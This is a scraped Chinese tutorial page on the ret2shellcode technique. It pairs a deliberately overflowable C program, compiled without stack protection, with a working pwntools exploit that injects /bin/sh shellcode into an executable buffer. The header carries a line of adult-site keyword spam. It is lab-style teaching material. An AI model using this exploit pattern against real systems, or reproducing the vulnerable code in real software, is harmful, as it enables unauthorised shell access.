日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

ret2shellcdoe

發布時間:2023/12/1 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 ret2shellcdoe 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

ret2shellcode的關鍵是找到一個緩沖區,這個緩沖區是可讀寫寫可執行的,我們要想辦法把我們的shellcdoe放到這個緩沖區,然后跳轉到我們的shellcode處執行。

例子:

#include <stdio.h> #include <string.h> char str1[0x40];void func() {char str[0x40];read(0,str,0x60);strcpy(str1,str); } int main() {func();return 0; }

可以看出,read處有溢出

編譯:

gcc -no-pie -fno-stack-protector -z execstack -m32 -o 6.exe 6.c

找到溢出點:
用peda生成100個字符,

溢出查看此時的EIP

溢出點在76

找到str1首地址
0x804a060

寫出我們的poc

from pwn import * context(arch="i386",os="linux") p=process('./6.exe') offset = 76 shellcode=asm(shellcraft.sh()) //生成shellcode代碼,這里的shellcode越短越好,長度不能超過溢出的長度76 payload =shellcode.ljust(offset,'\x90')+p32(0x804a060) //ljust是為了讓\x90填充我們的shellcode,讓其長度達到760x804a060是str1的首地址,目的是為了跳轉到str1首地址,去執行我們的shellcode pid=proc.pidof(p) print pid pause() p.sendline(payload) p.interactive()

執行,成功獲得權限

注:
生成shellcdoe方法:
方法1.用pwntool或者peda和msfpc或者msfvenom工具生成,支持上線,最好越短越好
例如用pwntool中的shellcraft.sh(),再轉匯編字節碼asm()
asm(shellcraft.sh()),程序中我們是利用peda生成的。

方法2.手寫,其實網上一搜到處都是,可以直接用,但自己要和前段時間windows一樣自己調試提取
就是想辦法調用evecve("/bin/sh",null,null);

總結
ret2shellcode的本意是我們在程序當中能找到一塊緩沖區,這個緩沖區可讀可寫可執行,然后想各種辦法,把我們的shellcode搞進這個緩沖區,然后到這個緩沖區頭部去執行。
像上面的例子中,我們利用棧溢出將我們生成的shellcdoe復制到str1處,str1處可讀可寫可執行,并且在構造payload中加入了這個str1首地址,到這里去執行我們的shellcode

總結

以上是生活随笔為你收集整理的ret2shellcdoe的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。